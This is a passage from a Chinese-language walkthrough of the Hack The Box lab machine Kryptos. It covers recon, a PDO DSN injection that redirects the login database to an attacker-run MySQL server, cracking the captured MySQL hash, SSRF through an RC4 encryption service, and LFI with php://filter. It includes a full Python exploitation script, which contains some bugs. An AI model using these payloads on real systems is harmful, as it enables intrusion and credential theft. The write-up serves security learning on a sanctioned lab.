0

前言

靶机信息:https://www.hackthebox.eu/home/machines/profile/183

靶机地址:10.10.10.129

攻击机地址:因为学习这个靶机花费的时间比较长,所以期间ip地址发生了几次变化,分别是:

  • 10.10.14.5
  • 10.10.14.6
  • 10.10.14.12
  • 10.10.14.33

这个靶机的评级是Insane,我最后没有做完,这个靶机和它的名称Kryptos一样,需要一些crypto方面的知识。这个靶机涉及到的web方面的知识还是挺有趣的。一个是通过PDO的dsn注入来绕过登录验证;另一个是学习了sqlite3中的ATTACH DATABASE注入;最后还学习到了RC4这种流加密算法,明文加密后得到密文,再对密文进行一次加密就能重新得到明文。

信息收集

老规矩,先上nmap扫描开放端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
╭─root@vultr ~ 
╰─# cat nmap.sh
#!/bin/bash
ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $1
╭─kali@kali ~
╰─$ ./nmap.sh 10.10.10.129
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 15:31 UTC
Nmap scan report for 10.10.10.129
Host is up (0.0035s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA)
| 256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA)
|_ 256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cryptor Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds

只扫描到两个端口22和80,分别对应ssh服务和apache服务。

APACHE服务

gobuster扫描 http://10.10.10.129 目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
╭─root@vultr ~ 
╰─# gobuster dir -u http://10.10.10.129 -w /usr/share/wordlists/directory-list-2.3-medium.txt -x txt,php,pdf,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.129
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,txt,php,pdf
[+] Timeout: 10s
===============================================================
2020/12/03 12:58:33 Starting gobuster
===============================================================
/index.php (Status: 200)
/css (Status: 301)
/dev (Status: 403)
/logout.php (Status: 302)
/url.php (Status: 200)
/aes.php (Status: 200)
/encrypt.php (Status: 302)
/rc4.php (Status: 200)
/decrypt.php (Status: 302)
/server-status (Status: 403)
===============================================================
2020/12/03 13:03:22 Finished
===============================================================

存在目录/css/dev,前者应该是存放css文件的,访问 http://10.10.10.129/dev 提示权限不够:

3

还有这些.php页面,访问url.phpaes.phprc4.php都是空白页面,没有回显;访问encrypt.phpdecrypt.php则会被重定向至index.php

1
2
3
4
5
/url.php (Status: 200)
/aes.php (Status: 200)
/encrypt.php (Status: 302)
/rc4.php (Status: 200)
/decrypt.php (Status: 302)

访问http://10.10.10.129/index.php ,是一个登录界面:

1

因为不知道账号和密码,所以直接先上burp fuzz,抓到的包有四个参数usernamepassworddb以及token

6

先对usernamepassword进行fuzz:
4

结果发现token是不可重用的,每次请求的token都会重新生成,目的应该是anti-CSRF:

5

右键查看源码:

2

我们知道的是,每次请求的token都是新的值,每次提交,token都会改变,但是db不会改变,所以尝试改变下db

8

结果返回PDOException code: 1044,说明使用PDO作为数据库的查询接口,1044状态码则是 Access denied导致的:

9

PDO

PDO全称PHP Data Objects,先看一下官方对PDO的简介:

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。实现 PDO 接口的每个数据库驱动可以公开具体数据库的特性作为标准扩展功能。 注意利用 PDO 扩展自身并不能实现任何数据库功能;必须使用一个 具体数据库的 PDO 驱动 来访问数据库服务。

PDO 提供了一个 数据访问 抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。 PDO 提供 数据库 抽象层;它不会重写 SQL,也不会模拟缺失的特性。如果需要的话,应该使用一个成熟的抽象层。

比如下面是一个简单的PDO对象实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
$dbms = 'mysql';
$dbName = 'admin';
$user = 'root';
$pwd = 'password';
$host = 'localhost';
// $dsn = 'mysql:host=$host;dbname=$dbName';
$dsn = '$dbms:host=$host;dbname=$dbName';
try {
$pdo = new PDO($dsn, $user, $pwd);
echo "PDO连接MySQL成功";
} catch (Exception $e) {
echo $e->getMessage(). '<br>';
}

DSN

PDO中有一个名为DSN的概念,DSN全称为Data Source Name(数据源名称)。DSN主要负责提供数据库连接的必要信息。PDO的DSN主要包括3部分:

  1. PDO驱动名称,如mysql,sqlite或是pgsql;
  2. 冒号:
  3. 驱动特定的语法

数据库服务器只在特定的端口上监听连接请求,所以每种数据库服务器有一个默认的端口号,如mysql是3306,但是数据库管理员可以对端口号进行修改,此时就可以在DSN中写明端口号。

如:

1
$dsn = "mysql:host=localhost;port=3306;dbname=test";

DSN注入

接着回到靶机本身,因为db参数是可变的,也就是数据库名称,所以猜测PDO对象是这样进行实例化的:

1
2
$dsn = "mysql:dbname=". $POST['db']. ";host=localhost";
$pdo = new PDO($dsn, $user, $pwd);

或者更简单的,host参数可以省略:

1
2
$dsn = "mysql:dbname=". $POST[''db];
$pdo = new PDO($dsn, $user, $pwd);

然后就是看一下返回的PDOException状态码是什么意思。google一下,从Possible PDOException Errors (MySQL 5)? 了解到:

Error codes starting at 1000 are server errors. These include errors like:

  • Error: 1045 SQLSTATE: 28000 (ER_ACCESS_DENIED_ERROR) Message: Access denied for user ‘%s’@’%s’ (using password: %s)

  • Error: 1049 SQLSTATE: 42000 (ER_BAD_DB_ERROR) Message: Unknown database ‘%s’

    Error codes starting at 2000 are client errors. These include errors like:

  • Error: 2005 (CR_UNKNOWN_HOST) Message: Unknown MySQL server host ‘%s’ (%d)

  • Error: 2003 (CR_CONN_HOST_ERROR) Message: Can’t connect to MySQL server on ‘%s’ (%d)

根据MySQL官方手册查询到错误1044表示权限不正确:

1
2
Error number: 1044; Symbol: ER_DBACCESS_DENIED_ERROR; SQLSTATE: 42000
Message: Access denied for user '%s'@'%s' to database '%s'

错误2002表示无法和local MySQL服务器建立连接:

1
2
Error number: 2002; Symbol: CR_CONNECTION_ERROR;
Message: Can't connect to local MySQL server through socket '%s' (%d)

db修改为:

1
db=cryptor;host=10.10.14.6;port=3306

然后请求,burp抓包,为了方便起见,修改下burp的参数,这样每次抓包就不用手动修改db参数了:

17

在攻击机kali上监听本地端口3306

12

可以看到返回的是connect to [10.10.14.5] from (UNKNOWN) [10.10.10.129] 34662,这说明目标服务器确实在尝试联系我们的攻击机3306端口(ps:这里ip地址改变是因为htb使用的openvpn给我重新分配了地址,后面还会发生变化,但是都是10.10.14.xx)。

停止监听后,返回状态码2006

13

查阅官方手册,状态码2006表示mysql 服务被关闭了,和我们的测试情况保持一致:

1
2
Error number: 2006; Symbol: CR_SERVER_GONE_ERROR;
Message: MySQL server has gone away

auxiliary/server/capture/mysql

在metasploit中存在一个模块auxiliary/server/capture/mysql,可以捕获mysql的流量信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf5 > use auxiliary/server/capture/mysql
msf5 auxiliary(server/capture/mysql) > show options

Module options (auxiliary/server/capture/mysql):

Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no The local filename to store the hashes in Cain&Abel format
CHALLENGE 112233445566778899AABBCCDDEEFF1122334455 yes The 16 byte challenge
JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 3306 yes The local port to listen on.
SRVVERSION 5.5.16 yes The server version to report in the greeting response
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)


Auxiliary action:

Name Description
---- -----------
Capture

14

auxiliary/server/capture/mysql模块捕获到的信息是challenge和response:

1
2
3
4
user: dbuser
Challenge: 112233445566778899aabbccddeeff1122334455
Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
Database: cryptor

同时返回的状态码是1045,原因是权限不正确。接着我们需要对其进行解密来获取mysql的登录密码,但是这个密码该怎么用呢?可以查阅hashcat中的example-hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
╭─kali@kali ~ 
╰─$ hashcat --example-hashes | grep MySQL -A 2
TYPE: MySQL323
HASH: 7196759210defdc0
PASS: hashcat
--
TYPE: MySQL4.1/MySQL5
HASH: fcf7c1b8749cf99d88e5f34271d636178fb5d130
PASS: hashcat
--
TYPE: MySQL CRAM (SHA1)
HASH: $mysqlna$2576670568531371763643101056213751754328*5e4be686a3149a12847caa9898247dcc05739601
PASS: hashcat

按照格式拼接challenge和response后,丢到john里解密:

1
2
3
4
5
6
7
8
9
10
╭─kali@kali ~ 
╰─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt mysql_hash
Using default input encoding: UTF-8
Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
krypt0n1te (?)
1g 0:00:00:03 DONE (2020-12-05 01:05) 0.2857g/s 1843Kp/s 1843Kc/s 1843KC/s kryptic11..krovallo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

也可以丢到hashcat解密:

1
2
3
4
5
╭─kali@kali ~ 
╰─$ hashcat -m 11200 mysql_hash /usr/share/wordlists/rockyou.txt --force
......[SNIP]......[SNIP]......
$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d:krypt0n1te
......[SNIP]......[SNIP]......

总之,最后得到了密码:krypt0n1te。简单来讲,这个流程就是:当攻击者用admin:admin的用户密码尝试登录时,应用程序会先连接本地或是远程的mysql数据库,然后取中数据库中的信息来比对攻击者的账号密码是否正确,连接哪个数据库由dns中的信息决定。除此之外,连接mysql数据库需要对应的mysql账号密码,应用程序会用自己配置信息中的账号密码去连接。如果需要应用程序连接我们本地的数据库来绕过验证,那么就需要获取应用程序配置信息中的mysql连接配置。

到这一步为止,我们就获得了应用程序相关的mysql配置信息:

1
2
3
4
database: mysql
database_name: cryptor
user: dbuser
password: krypt0n1te

拿这个密码去登录站点是不行的,毕竟这只是数据库的密码。接着,在我们本地的攻击机上搭建环境,先启动本地的mysql环境:

15

在本地建立数据库cryptor,并赋予用户dbuser相应的权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
╭─kali@kali ~ 
╰─$ sudo mysql -uroot -proot
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 38
Server version: 10.3.22-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> create database cryptor;
Query OK, 1 row affected (0.001 sec)

MariaDB [(none)]> GRANT ALL PRIVILEGES on cryptor.* to 'dbuser'@'%' identified by 'krypt0n1te';
Query OK, 0 rows affected (0.002 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.001 sec)

重新抓包发送,但是返回状态码2002,表示连接mysql服务器失败:

16

原因是因为kali攻击机仅仅监听本地的主机:

1
2
3
4
5
╭─kali@kali ~ 
╰─$ netstat -lanp | grep 3306
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -

所以需要修改mysql的配置文件,应该是/etc/mysql/mariadb.conf.d/50-server.cnf文件:

1
2
3
╭─kali@kali ~ 
╰─$ grep -r 127.0.0.1 /etc/mysql/
/etc/mysql/mariadb.conf.d/50-server.cnf:bind-address = 127.0.0.1

修改该文件,将127.0.0.1修改为10.10.14.6

1
2
3
╭─kali@kali ~ 
╰─$ cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep bind-address
bind-address = 10.10.14.6

接着重启mysql服务:

1
2
3
4
5
6
7
╭─kali@kali ~ 
╰─$ sudo service mysql restart
╭─kali@kali ~
╰─$ netstat -lanp | grep 3306
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 10.10.14.6:3306 0.0.0.0:* LISTEN -

接着打开wireshark抓包,选择捕获网卡tun0的流量,tun0网卡对应着我的攻击ip地址10.10.14.6:

18

burp抓包后再次发送:

19

右键跟踪tcp流:

20

捕获的流量中包含一条数据库query语句:

1
SELECT username, password FROM users WHERE username='admin' AND password='21232f297a57a5a743894a0e4a801fc3' ,....z.#42S02Table 'cryptor.users' doesn't exist

包含我们的用户名和密码,我们提交的admin:admin

1
2
username: admin
password: 21232f297a57a5a743894a0e4a801fc3

这个密码是32位的,是经过md5加密的:

1
2
3
4
5
6
╭─kali@kali ~ 
╰─$ echo -n 21232f297a57a5a743894a0e4a801fc3 | wc -c
32
╭─kali@kali ~
╰─$ echo -n admin | openssl md5
(stdin)= 21232f297a57a5a743894a0e4a801fc3

同时更重要的是,我们还知道了数据库cryptor存在数据表users,并且至少存在两个字段usernamepassword

所以需要在我们的本地的mysql数据库中也新建一张这样的数据表:

1
2
3
4
ariaDB [cryptor]> use cryptor;
Database changed
MariaDB [cryptor]> create table users ( username varchar(100) not null, password varchar(100) not null );
Query OK, 0 rows affected (0.011 sec)

同时将用户名admin和md5加密后的密码插入本地的users表中:

1
2
3
4
5
6
7
8
9
10
MariaDB [cryptor]> insert into users values ( 'admin', '21232f297a57a5a743894a0e4a801fc3');
Query OK, 1 row affected (0.003 sec)

MariaDB [cryptor]> select * from users;
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
+----------+----------------------------------+
1 row in set (0.001 sec)

重新提交请求,登录成功。

File Decryptor

发现有两个页面,一个是encrypt.php,页面提示我们,只要提供文件的url就可以进行在线加密:

21

另一个页面是decrypt.php,不同的是,这个页面还没有成形:

22

回到页面encrypt.php,这里提供了两种加密方式AES-CBCRC4

23

尝试用file协议读取/etc/passwd,但是仅仅支持http协议:

24

我在我自己的本地开启了http服务进行测试:

1
2
3
4
╭─kali@kali ~/Kryptos 
╰─$ python -c 'print("ABCDabcd"*1000);' > test
╭─kali@kali ~/Kryptos
╰─$ python -m SimpleHTTPServer 8000

尝试对http://10.10.14.6:8000/test 的文件进行加密,加密选择RC4

25

返回了加密结果。

AES-CBC & RC4

在进行后续的渗透之前,先了解这两种加密模式。

AES-CBC

AES算法,高级加密标准(AES,Advanced Encryption Standard)为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。 AES为分组密码,分组密码也就是把明文分成一组一组的,每组长度相等,每次加密一组数据,直到加密完整个明文。

RC4

RC4是是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。

回到题目,流加密算法有什么特点呢,就是无论我们对http://10.10.14.6:8000/test 的内容进行几次加密,加密的结果都不会发生任何改变,这说明了rc4使用的密钥key是固定的。

为了搞清楚encrypt.php中rc4的加密方法,我先在本地新建一个简单的a.txt,其中写入简单的单字母a:

1
2
3
4
╭─kali@kali ~/Kryptos 
╰─$ echo -n abcd > abcd.txt
╭─kali@kali ~/Kryptos
╰─$ python -m SimpleHTTPServer 8000

接着进行加密,得到经过base64加密后的OVyM+A==

26

先base64解密,然后转为16进制输出为:

1
2
3
╭─kali@kali ~/Kryptos 
╰─$ echo -n OVyM+A== | base64 -d | xxd
00000000: 395c 8cf8 9\..

我们已经知道,xor加密的一个特点就是我们用key对加密后的密文再进行一次加密,就能得到原来的明文:

1
2
╭─kali@kali ~/Kryptos 
╰─$ echo -n OVyM+A== | base64 -d > abcd_rc4

27

对密文再次加密后得到base64值YWJjZA==,进行解密:

28

又得到了abcd,这里因为我用的shell是zsh就有点奇怪,最后的%其实是一个换行符,切换为bash就能正常显示:

29

dev

30

http://127.0.0/dev 加密后得到的字符串进行base64解码后,再一次进行rc4加密:

1
2
╭─kali@kali ~/Kryptos 
╰─$ echo -n ZB+r03k+ci4Pu/Kiqn3XlKp1CH7TRblUckQwZr0A8KEfEVBU0VfvkDeRzTN328hTffG00fElOMKyJV0bnVzFi5au9TrTwTTNmxN2+N3yQAjVUJ4jYRdzOR4P6SEDwzPdOE4TsL58zm2FybHyCwtZDhvN+htfErEIdyKGRxDNslX7uyg0FkwbdsWc+E3bS4QyPxcd8oWOBoy62bfbd49l8VH7kYGnAQ0oh3jHs+KFzv0WX2b7rW1Yx4DOfSvsoyUAhpxz2um17Y0r1wyVujCWYRYTnmUM1B+O4rOhISbCOht4PS6q3X/VvFXTstYToUMj7CYvLWWtVn5/IVizj+x5yqHFTuSfkC7R4KPTw+BZkHV9s2RuRpIpPiK+EW29C7lFwPPyhRoe73piDn8wJLC9MA==| base64 -d > dev_rc4

31

对其进行再一次rc4加密:

32

base64解码后得到:

1
2
3
4
5
6
7
8
9
10
11
╭─kali@kali ~/Kryptos 
╰─$ echo -n PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4KPGh0bWw+PGhlYWQ+Cjx0aXRsZT4zMDEgTW92ZWQgUGVybWFuZW50bHk8L3RpdGxlPgo8L2hlYWQ+PGJvZHk+CjxoMT5Nb3ZlZCBQZXJtYW5lbnRseTwvaDE+CjxwPlRoZSBkb2N1bWVudCBoYXMgbW92ZWQgPGEgaHJlZj0iaHR0cDovLzEyNy4wLjAuMS9kZXYvIj5oZXJlPC9hPi48L3A+Cjxocj4KPGFkZHJlc3M+QXBhY2hlLzIuNC4yOSAoVWJ1bnR1KSBTZXJ2ZXIgYXQgMTI3LjAuMC4xIFBvcnQgODA8L2FkZHJlc3M+CjwvYm9keT48L2h0bWw+Cg== | base64 -d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1/dev/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

提示我们http://127.0.0.1/dev 被转移到了http://127.0.0.1/dev/ ,那用同样的方法继续读取该页面的内容,得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
╭─kali@kali ~/Kryptos 
╰─$ echo -n PGh0bWw+CiAgICA8aGVhZD4KICAgIDwvaGVhZD4KICAgIDxib2R5PgoJPGRpdiBjbGFzcz0ibWVudSI+CgkgICAgPGEgaHJlZj0iaW5kZXgucGhwIj5NYWluIFBhZ2U8L2E+CgkgICAgPGEgaHJlZj0iaW5kZXgucGhwP3ZpZXc9YWJvdXQiPkFib3V0PC9hPgoJICAgIDxhIGhyZWY9ImluZGV4LnBocD92aWV3PXRvZG8iPlRvRG88L2E+Cgk8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cg== | base64 -d
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>
</body>
</html>

又发现了三个新的页面,分别是:

1
2
3
dev/index.php
dev/index.php?view=about
dev/index.php?view=todo

需要继续用这种方式读取页面信息,但是一直手动读取有点麻烦,可以写一个脚本来自动化这个过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# rc4_decryptor.py
import requests
import re
from base64 import b64decode
import os
import argparse

init_url = "http://10.10.10.129/"
sess = requests.Session()

# login and return cookies
def login(username, password, remote_vps, port="3306"):
try:
req = sess.get(init_url)
req_text = req.text
token_lst = re.findall('[a-f0-9]{64}', req_text)
if len(token_lst) == 0:
print("[*] An error has occurred while getting token......")
die("[*] Exit.....")
token = token_lst[0]
print("[*] Your token is ", token)
except Exception as e:
print(e)

login_data = {
"username": username,
"password": password,
"db": "cryptor;host=" + remote_vps + ";port=" + port,
"token": token,
"login": ""
}

try:
req_post = sess.post(url=init_url, data=login_data)
if "PDOException" in req_post:
pdoexp_text = req_post.txt
print("[*] Response: " + pdoexp_text)
print("[*] Exit......")
else:
if 'File Encryption Services' in req_post.text:
cookieJar = sess.cookies
cookiedict = requests.utils.dict_from_cookiejar(cookieJar)
print("[*] Login success, the cookies is", cookiedict['PHPSESSID'])
except Exception as e:
print(e)


# save rc4 secret to attacker machine
def create_file(content):
content = b64decode(content)
with open("my_rc4", 'wb') as f:
f.write(content)
f.close()

# encrypt the local files of host Kryptos
# url: the file needs to be encrypted
def encrypt(encrypt_file_url, cookies):
params = {
'cipher': 'RC4',
'url': encrypt_file_url
}
req_get = sess.get(url=init_url+"encrypt.php", params=params, cookies=cookies)
content = req_get.text
rc4_start = '<textarea class="form-control" name="textarea" rows="20" id="output">'
rc4_end = '</textarea>'
idx_start = content.find(rc4_start) + len(rc4_start)
idx_end = content.find(rc4_end)
rc4_content = content[idx_start:idx_end]

# wirte the secret content to my attacker machine
create_file(rc4_content)


# decrypt the local files of attacker machine - my_rc4
def decrypt(decrypt_file_url):
params = {
'cipher': 'RC4',
'url': decrypt_file_url
}
req_get = sess.get(url=init_url+"encrypt.php", params=params, cookies=cookies)
content = req_get.text
rc4_start = '<textarea class="form-control" name="textarea" rows="20" id="output">'
rc4_end = '</textarea>'
idx_start = content.find(rc4_start) + len(rc4_start)
idx_end = content.find(rc4_end)
rc4_content = content[idx_start:idx_end]

print("[*] Get the source file......")
output(rc4_content)

def output(content):
content = b64decode(content)
with open('output', 'wb') as f:
f.write(content)
f.close()

# readfile
os.system("cat ./output")


if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("decrypt_file_url", help="decrypt_file_url")
parser.add_argument("username", help="your username")
parser.add_argument("password", help="your password")
parser.add_argument("attack_ip", help="your attack ip")
parser.add_argument("--port", help='your local mysql port')
args = parser.parse_args()

username = args.username
password = args.password
remote_vps = args.attack_ip
port = args.port

cookies = login(username, password, remote_vps)

encrypt_file_url = args.decrypt_file_url
encrypt(encrypt_file_url, cookies)

decrypt_file_url = "http://" + remote_vps + ":8000/my_rc4"
decrypt(decrypt_file_url)

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py -h 2 ↵
usage: rc4_decryptor.py [-h] [--port PORT] decrypt_file_url username password attack_ip

positional arguments:
decrypt_file_url decrypt_file_url
username your username
password your password
attack_ip your attack ip

optional arguments:
-h, --help show this help message and exit
--port PORT your local mysql port

接着我们需要查看两个文件:

1
2
/dev/index.php?view=about
/dev/index.php?view=todo

/dev/index.php?view=about

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/index.php\?view\=about admin admin 10.10.14.12
[*] Your token is 9de8dee09e6661f47e7f3ecf08730bcd6bb5794c8eb710427c15bcf759e51eee
[*] Login success, the cookies is r7lvmms6lr6adfpdpavikmduif
[*] Get the source file......
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>
This is about page
</body>
</html>

/dev/index.php?view=todo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>
<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP functions

</body>
</html>]

发现了新文件sqlite_test_page.php

1
2
3
4
5
6
7
8
9
10
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php admin admin 10.10.14.33
[*] Your token is c24933e058bd78db4326ad57750ff2ce094feaa3dad9a0368d9094e3044f0db4
[*] Login success, the cookies is t488iuurav9ig63sfd768us44p
[*] Get the source file......
<html>
<head></head>
<body>
</body>
</html>

LFI

直接读取没有读取到sqlite_test_page.php文件的内容,但观察前面的链接:

1
2
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>

index.php文件中可能存在任意文件包含漏洞。

尝试用index.php?view=来读取index.php页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/index.php\?view\=../index admin admin 10.10.14.33
[*] Your token is 9e01f2dc073e967f6b6b7a192babdaddd5e83f4c93490dfc3cf52d93c8d01565
[*] Login success, the cookies is 6a0v896m94kgjiihfim2269mgt
[*] Get the source file......
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>

<html>
<head>
<title>Cryptor Login</title>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container-fluid">
<div class="container">
<h2>Cryptor Login</h2>
<form action="" method="post">
<div class="form-group">
<label for="Username">Username:</label>
<input type="text" class="form-control" id="username" name="username" placeholder="Enter username">
</div>
<div class="form-group">
<label for="password">Password:</label>
<input type="password" class="form-control" id="password" name="password" placeholder="Enter password">
</div>
<input type="hidden" id="db" name="db" value="cryptor">
<input type="hidden" name="token" value="b579c39d7f0217b10435d21ed8cd117e42dc85d406821f1bb524aa02ff150adc" />
<button type="submit" class="btn btn-primary" name="login">Submit</button>
</form>
</div>
</body>
</html>

</body>
</html>

成功地读取了index.php,从而证实了存在文件包含漏洞的猜想。直接读取sqlite_test_page行不通,可以利用php的stream wrapper来读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/index.php\?view\=php://filter/convert.base64-encode/resource=sqlite_test_page admin admin 10.10.14.33
[*] Your token is 62fc897e5c3c603631045d1aed7ed2ff76bfa9a508859c41213d60eae7a3b34d
[*] Login success, the cookies is jjm61uharj4l3i721lb83kjoiu
[*] Get the source file......
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>
PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiRub19yZXN1bHRzID0gJF9HRVRbJ25vX3Jlc3VsdHMnXTsKJGJvb2tpZCA9ICRfR0VUWydib29raWQnXTsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYm9va3MgV0hFUkUgaWQ9Ii4kYm9va2lkOwppZiAoaXNzZXQoJGJvb2tpZCkpIHsKICAgY2xhc3MgTXlEQiBleHRlbmRzIFNRTGl0ZTMKICAgewogICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICAgIHsKCSAvLyBUaGlzIGZvbGRlciBpcyB3b3JsZCB3cml0YWJsZSAtIHRvIGJlIGFibGUgdG8gY3JlYXRlL21vZGlmeSBkYXRhYmFzZXMgZnJvbSBQSFAgY29kZQogICAgICAgICAkdGhpcy0+b3BlbignZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvYm9va3MuZGInKTsKICAgICAgfQogICB9CiAgICRkYiA9IG5ldyBNeURCKCk7CiAgIGlmKCEkZGIpewogICAgICBlY2hvICRkYi0+bGFzdEVycm9yTXNnKCk7CiAgIH0gZWxzZSB7CiAgICAgIGVjaG8gIk9wZW5lZCBkYXRhYmFzZSBzdWNjZXNzZnVsbHlcbiI7CiAgIH0KICAgZWNobyAiUXVlcnkgOiAiLiRxdWVyeS4iXG4iOwoKaWYgKGlzc2V0KCRub19yZXN1bHRzKSkgewogICAkcmV0ID0gJGRiLT5leGVjKCRxdWVyeSk7CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9Cn0KZWxzZQp7CiAgICRyZXQgPSAkZGItPnF1ZXJ5KCRxdWVyeSk7CiAgIHdoaWxlKCRyb3cgPSAkcmV0LT5mZXRjaEFycmF5KFNRTElURTNfQVNTT0MpICl7CiAgICAgIGVjaG8gIk5hbWUgPSAiLiAkcm93WyduYW1lJ10gLiAiXG4iOwogICB9CiAgIGlmKCRyZXQ9PUZBTFNF